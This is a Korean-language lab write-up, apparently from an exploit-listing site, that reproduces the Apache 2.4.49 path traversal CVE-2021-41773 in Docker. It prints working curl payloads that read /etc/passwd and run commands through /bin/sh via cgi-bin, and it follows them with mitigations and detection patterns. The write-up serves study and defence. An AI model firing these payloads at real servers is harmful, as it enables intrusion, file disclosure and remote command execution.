Share
## https://sploitus.com/exploit?id=37F8BD65-D643-54AF-B580-E48A69881D2F
ο»Ώ# CVE-2021-41773 Apache HTTP Server Path Traversal

**Contributors**

[이희수(@lheeeesoo)](https://github.com/lheeeesoo)

---

Apache HTTP Server 2.4.49μ—λŠ” URL 경둜λ₯Ό μ •κ·œν™”ν•˜λŠ” κ³Όμ •μ—μ„œ μΈμ½”λ”©λœ μƒμœ„ 경둜λ₯Ό μ œλŒ€λ‘œ μ°¨λ‹¨ν•˜μ§€ λͺ»ν•˜λŠ” 취약점이 μ‘΄μž¬ν•œλ‹€.

κ³΅κ²©μžλŠ” `.%2e`와 같은 값을 μ΄μš©ν•˜μ—¬ μ›Ή μ„œλ²„κ°€ κ³΅κ°œν•˜λ„λ‘ μ„€μ •ν•œ 디렉터리 λ°–μœΌλ‘œ 이동할 수 μžˆλ‹€. μ™ΈλΆ€ 디렉터리에 λŒ€ν•œ 접근이 ν—ˆμš©λœ ν™˜κ²½μ—μ„œλŠ” μ„œλ²„ λ‚΄λΆ€ 파일이 λ…ΈμΆœλ  수 있으며, CGI κΈ°λŠ₯이 ν™œμ„±ν™”λœ κ²½μš°μ—λŠ” μ‹œμŠ€ν…œ 셸을 μ‹€ν–‰ν•˜μ—¬ 원격 λͺ…λ Ή μ‹€ν–‰μœΌλ‘œ μ΄μ–΄μ§ˆ 수 μžˆλ‹€.

λ³Έ ν”„λ‘œμ νŠΈμ—μ„œλŠ” Dockerλ₯Ό μ΄μš©ν•΄ Apache HTTP Server 2.4.49 ν™˜κ²½μ„ 직접 κ΅¬μΆ•ν•˜κ³  λ‹€μŒ 두 κ°€μ§€λ₯Ό μž¬ν˜„ν•˜μ˜€λ‹€.

- Path Traversal을 μ΄μš©ν•œ `/etc/passwd` 파일 λ…ΈμΆœ
- CGIλ₯Ό μ΄μš©ν•œ 원격 λͺ…λ Ή μ‹€ν–‰

---

## ν”„λ‘œμ νŠΈ ꡬ쑰

```text
CVE-2021-41773/
β”œβ”€β”€ Dockerfile
β”œβ”€β”€ docker-compose.yml
β”œβ”€β”€ README.md
β”œβ”€β”€ apache/
β”‚   └── httpd.conf
β”œβ”€β”€ web/
β”‚   └── index.html
β”œβ”€β”€ scripts/
β”‚   β”œβ”€β”€ poc.sh
β”‚   └── poc.ps1
└── screenshots/
    β”œβ”€β”€ 01-container-status.png
    β”œβ”€β”€ 02-normal-service.png
    β”œβ”€β”€ 03-apache-version.png
    β”œβ”€β”€ 04-path-traversal.png
    β”œβ”€β”€ 05-rce-whoami.png
    └── 06-poc-script.png
```

---

## ν™˜κ²½ ꡬ성

λ‹€μŒ λͺ…λ ΉμœΌλ‘œ Docker 이미지λ₯Ό λΉŒλ“œν•˜κ³  μ»¨ν…Œμ΄λ„ˆλ₯Ό μ‹€ν–‰

```bash
docker compose up -d --build
```

μ»¨ν…Œμ΄λ„ˆ μ‹€ν–‰ μƒνƒœλŠ” λ‹€μŒ λͺ…λ ΉμœΌλ‘œ 확인

```bash
docker ps
```

μ‹€ν–‰ κ²°κ³Όμ—μ„œ μ»¨ν…Œμ΄λ„ˆκ°€ `Up` μƒνƒœμ΄λ©°, 호슀트의 8080번 ν¬νŠΈκ°€ μ»¨ν…Œμ΄λ„ˆμ˜ 80번 ν¬νŠΈμ™€ μ—°κ²°λœ 것을 확인

![](screenshots/01-container-status.png)

---

## 정상 μ›Ή μ„œλΉ„μŠ€ 확인

λΈŒλΌμš°μ €μ—μ„œ λ‹€μŒ μ£Όμ†Œλ‘œ μ ‘μ†ν•œλ‹€.

```text
http://localhost:8080
```

μ •μƒμ μœΌλ‘œ Apache μ›Ή νŽ˜μ΄μ§€κ°€ 좜λ ₯으둜 ν™˜κ²½ ꡬ성 μ™„λ£Œ 확인

![](screenshots/02-normal-service.png)

---

## Apache 버전 확인

λ‹€μŒ λͺ…λ ΉμœΌλ‘œ μ»¨ν…Œμ΄λ„ˆ λ‚΄λΆ€μ˜ Apache 버전을 확인

```bash
docker compose exec web /usr/local/apache2/bin/httpd -v
```

μ‹€ν–‰ κ²°κ³Ό:

```text
Server version: Apache/2.4.49 (Unix)
```

CVE-2021-41773의 영ν–₯을 λ°›λŠ” Apache HTTP Server 2.4.49κ°€ μ‹€ν–‰λ˜κ³  μžˆμŒμ„ 확인

![](screenshots/03-apache-version.png)

---

## μ·¨μ•½ 쑰건

λ³Έ μ‹€μŠ΅ ν™˜κ²½μ—μ„œλŠ” λ‹€μŒ 쑰건이 μ μš©λ˜μ–΄ μžˆλ‹€.

- Apache HTTP Server 2.4.49 μ‚¬μš©
- Alias 및 ScriptAlias 경둜 μ‚¬μš©
- μ›Ή 루트 λ°–μ˜ 디렉터리에 λŒ€ν•œ μ ‘κ·Ό ν—ˆμš©
- CGI κΈ°λŠ₯ ν™œμ„±ν™”
- Apache ν”„λ‘œμ„ΈμŠ€κ°€ `daemon` κ³„μ •μœΌλ‘œ μ‹€ν–‰

Apache μ„€μ •μ—λŠ” λ‹€μŒκ³Ό 같이 νŒŒμΌμ‹œμŠ€ν…œ μ΅œμƒμœ„ κ²½λ‘œμ— λŒ€ν•œ 접근이 ν—ˆμš©λ˜μ–΄ μžˆλ‹€.

```apache

    AllowOverride None
    Require all granted

```

λ˜ν•œ CGI 싀행을 μœ„ν•΄ λ‹€μŒ 섀정을 μ‚¬μš©ν•˜μ˜€λ‹€.

```apache
ScriptAlias /cgi-bin/ "/usr/local/apache2/cgi-bin/"


    AllowOverride None
    Options +ExecCGI
    Require all granted

```

---

## Path Traversal

λ‹€μŒ μš”μ²­μ€ μΈμ½”λ”©λœ μƒμœ„ 경둜λ₯Ό μ΄μš©ν•˜μ—¬ μ»¨ν…Œμ΄λ„ˆ λ‚΄λΆ€μ˜ `/etc/passwd` νŒŒμΌμ— μ ‘κ·Όν•œλ‹€.

```bash
curl --path-as-is "http://localhost:8080/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd"
```

`.%2e`λŠ” URL λ””μ½”λ”© 이후 `..`둜 μ²˜λ¦¬λœλ‹€.

λ”°λΌμ„œ κ³΅κ²©μžλŠ” Alias 경둜λ₯Ό κΈ°μ€€μœΌλ‘œ μ—¬λŸ¬ 번 μƒμœ„ λ””λ ‰ν„°λ¦¬λ‘œ μ΄λ™ν•œ λ’€ `/etc/passwd` νŒŒμΌμ— μ ‘κ·Όν•  수 μžˆλ‹€.

μ‹€ν–‰ κ²°κ³Ό:

```text
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
```

![](screenshots/04-path-traversal.png)

`/etc/passwd`μ—λŠ” μ‚¬μš©μžλͺ…, UID, GID, ν™ˆ 디렉터리 및 둜그인 μ…Έ λ“± μ‹œμŠ€ν…œ 계정 정보가 μ €μž₯λ˜μ–΄ μžˆλ‹€.

μ‹€μ œ λΉ„λ°€λ²ˆν˜ΈλŠ” ν¬ν•¨λ˜μ–΄ μžˆμ§€ μ•Šμ§€λ§Œ, 정상적인 μ™ΈλΆ€ μ›Ή μ‚¬μš©μžκ°€ μ ‘κ·Όν•  수 μ—†μ–΄μ•Ό ν•˜λŠ” μ„œλ²„ λ‚΄λΆ€ 파일이 HTTP μš”μ²­λ§ŒμœΌλ‘œ λ…ΈμΆœλ˜μ—ˆλ‹€λŠ” μ μ—μ„œ 정보 λ…ΈμΆœ 취약점이 ν™•μΈλœλ‹€.

μ‹€μ œ 운영 ν™˜κ²½μ—μ„œλŠ” 같은 λ°©μ‹μœΌλ‘œ λ‹€μŒκ³Ό 같은 λ―Όκ°ν•œ 정보가 λ…ΈμΆœλ  κ°€λŠ₯성이 μžˆλ‹€.

- μ• ν”Œλ¦¬μΌ€μ΄μ…˜ μ„€μ • 파일
- λ°μ΄ν„°λ² μ΄μŠ€ 접속 정보
- API ν‚€ 및 인증 정보
- μ†ŒμŠ€μ½”λ“œ
- 둜그 파일
- μΈμ¦μ„œ 및 κ°œμΈν‚€

---

## CGIλ₯Ό ν†΅ν•œ λͺ…λ Ή μ‹€ν–‰

λ‹€μŒ μš”μ²­μ€ Path Traversal을 μ΄μš©ν•˜μ—¬ `/bin/sh`에 μ ‘κ·Όν•˜κ³  `whoami` λͺ…령을 μ‹€ν–‰ν•œλ‹€.

```bash
curl -s --path-as-is \
  -d "echo Content-Type: text/plain; echo; whoami" \
  "http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh"
```

μ‹€ν–‰ κ²°κ³Ό:

```text
daemon
```

![](screenshots/05-rce-whoami.png)

`/cgi-bin/` κ²½λ‘œλŠ” `ScriptAlias`둜 μ„€μ •λ˜μ–΄ 있기 λ•Œλ¬Έμ— ApacheλŠ” ν•΄λ‹Ή 경둜의 νŒŒμΌμ„ λ‹¨μˆœνžˆ μ½λŠ” 것이 μ•„λ‹ˆλΌ CGI ν”„λ‘œκ·Έλž¨μœΌλ‘œ μ‹€ν–‰ν•œλ‹€.

Path Traversal을 톡해 `/bin/sh`에 μ ‘κ·Όν•œ λ’€ μš”μ²­ 본문에 ν¬ν•¨λœ λͺ…령을 μ „λ‹¬ν•˜λ©΄ Apache μ‹€ν–‰ 계정 κΆŒν•œμœΌλ‘œ λͺ…령이 μ‹€ν–‰λœλ‹€.

λ³Έ ν™˜κ²½μ—μ„œλŠ” Apacheκ°€ λ‹€μŒ κ³„μ •μœΌλ‘œ μ‹€ν–‰λœλ‹€.

```apache
User daemon
Group daemon
```

λ”°λΌμ„œ λͺ…λ Ή μ‹€ν–‰ κ²°κ³Ό μ—­μ‹œ `daemon` κ³„μ •μœΌλ‘œ 좜λ ₯λ˜μ—ˆλ‹€.

root κΆŒν•œμ€ μ•„λ‹ˆμ§€λ§Œ λ‹€μŒκ³Ό 같은 좔가적인 μœ„ν˜‘μ΄ λ°œμƒν•  κ°€λŠ₯성이 μžˆλ‹€.

- μ›Ή μ• ν”Œλ¦¬μΌ€μ΄μ…˜ 파일 λ³€μ‘°
- μ„€μ • 파일 및 인증 정보 νƒˆμ·¨
- μ•…μ„± 파일 λ‹€μš΄λ‘œλ“œ 및 μ‹€ν–‰
- λ‚΄λΆ€ λ„€νŠΈμ›Œν¬ 탐색
- μΆ”κ°€ 취약점을 μ΄μš©ν•œ κΆŒν•œ μƒμŠΉ

---

## PoC 슀크립트 μ‹€ν–‰

κ°œλ³„ λͺ…λ Ή λŒ€μ‹  PoC 슀크립트λ₯Ό μ΄μš©ν•˜μ—¬ 정상 μ„œλΉ„μŠ€, Path Traversal, 원격 λͺ…λ Ή 싀행을 ν•œ λ²ˆμ— 확인할 수 μžˆλ‹€.

### PowerShell

```powershell
powershell -ExecutionPolicy Bypass -File .\scripts\poc.ps1
```

### Bash

```bash
bash scripts/poc.sh
```

μŠ€ν¬λ¦½νŠΈλŠ” λ‹€μŒ ν•­λͺ©μ„ μˆœμ„œλŒ€λ‘œ ν™•μΈν•œλ‹€.

```text
[1] 정상 μ„œλΉ„μŠ€ 확인
[2] Path Traversal을 ν†΅ν•œ /etc/passwd μ ‘κ·Ό
[3] CGIλ₯Ό ν†΅ν•œ id λͺ…λ Ή μ‹€ν–‰
```

![](screenshots/06-poc-script.png)

---

## λŒ€μ‘ λ°©μ•ˆ

### Apache 버전 μ—…λ°μ΄νŠΈ

Apache HTTP Server 2.4.49λ₯Ό μ‚¬μš©ν•˜μ§€ μ•Šκ³  λ³΄μ•ˆ νŒ¨μΉ˜κ°€ 적용된 μ΅œμ‹  λ²„μ „μœΌλ‘œ μ—…λ°μ΄νŠΈν•΄μ•Ό ν•œλ‹€.

### μ΅œμƒμœ„ 디렉터리 μ ‘κ·Ό 차단

운영 ν™˜κ²½μ—μ„œλŠ” νŒŒμΌμ‹œμŠ€ν…œ μ΅œμƒμœ„ 경둜λ₯Ό 기본적으둜 차단해야 ν•œλ‹€.

```apache

    Require all denied

```

ν•„μš”ν•œ μ›Ή λ””λ ‰ν„°λ¦¬λ§Œ λ³„λ„λ‘œ ν—ˆμš©ν•œλ‹€.

```apache

    Require all granted

```

### λΆˆν•„μš”ν•œ CGI λΉ„ν™œμ„±ν™”

CGI κΈ°λŠ₯이 ν•„μš”ν•˜μ§€ μ•Šλ‹€λ©΄ λ‹€μŒ κΈ°λŠ₯을 λΉ„ν™œμ„±ν™”ν•œλ‹€.

- `mod_cgi`
- `ScriptAlias`
- `ExecCGI`

### μ΅œμ†Œ κΆŒν•œ 적용

Apache ν”„λ‘œμ„ΈμŠ€λŠ” rootκ°€ μ•„λ‹Œ μ œν•œλœ μ„œλΉ„μŠ€ κ³„μ •μœΌλ‘œ μ‹€ν–‰ν•˜κ³ , ν•΄λ‹Ή 계정이 μ ‘κ·Όν•  수 μžˆλŠ” 파일과 디렉터리λ₯Ό μ΅œμ†Œν™”ν•΄μ•Ό ν•œλ‹€.

### 둜그 λͺ¨λ‹ˆν„°λ§

λ‹€μŒκ³Ό 같은 비정상 κ²½λ‘œκ°€ ν¬ν•¨λœ μš”μ²­μ„ νƒμ§€ν•˜κ³  차단해야 ν•œλ‹€.

```text
.%2e
%2e%2e
/cgi-bin/
```

---

## ν™˜κ²½ μ’…λ£Œ

```bash
docker compose down
```

---

## κ²°λ‘ 

λ³Έ μ‹€μŠ΅μ—μ„œλŠ” Dockerfile을 μ΄μš©ν•˜μ—¬ Apache HTTP Server 2.4.49λ₯Ό λΉŒλ“œν•˜κ³ , Docker Composeλ₯Ό 톡해 μž¬ν˜„ κ°€λŠ₯ν•œ μ·¨μ•½ ν™˜κ²½μ„ κ΅¬μ„±ν•˜μ˜€λ‹€.

Path Traversal μš”μ²­μ„ 톡해 정상적인 μ›Ή μ‚¬μš©μžκ°€ μ ‘κ·Όν•  수 μ—†μ–΄μ•Ό ν•˜λŠ” μ»¨ν…Œμ΄λ„ˆ λ‚΄λΆ€μ˜ `/etc/passwd` 파일이 λ…ΈμΆœλ˜λŠ” 것을 ν™•μΈν•˜μ˜€λ‹€.

λ˜ν•œ CGIκ°€ ν™œμ„±ν™”λœ ν™˜κ²½μ—μ„œλŠ” `/bin/sh`에 μ ‘κ·Όν•˜μ—¬ Apache μ‹€ν–‰ 계정인 `daemon` κΆŒν•œμœΌλ‘œ μ‹œμŠ€ν…œ λͺ…령을 μ‹€ν–‰ν•  수 μžˆμŒμ„ ν™•μΈν•˜μ˜€λ‹€.

이λ₯Ό 톡해 CVE-2021-41773이 λ‹¨μˆœν•œ 경둜 λ…ΈμΆœλΏλ§Œ μ•„λ‹ˆλΌ ν™˜κ²½ 섀정에 따라 원격 λͺ…λ Ή μ‹€ν–‰μœΌλ‘œ μ΄μ–΄μ§ˆ 수 μžˆλŠ” μ·¨μ•½μ μž„μ„ 확인할 수 μžˆλ‹€.

---

## 참고 자료

- Apache HTTP Server Security Vulnerabilities
- NVD CVE-2021-41773
- Apache HTTP Server URL Mapping Documentation
- Apache CGI Documentation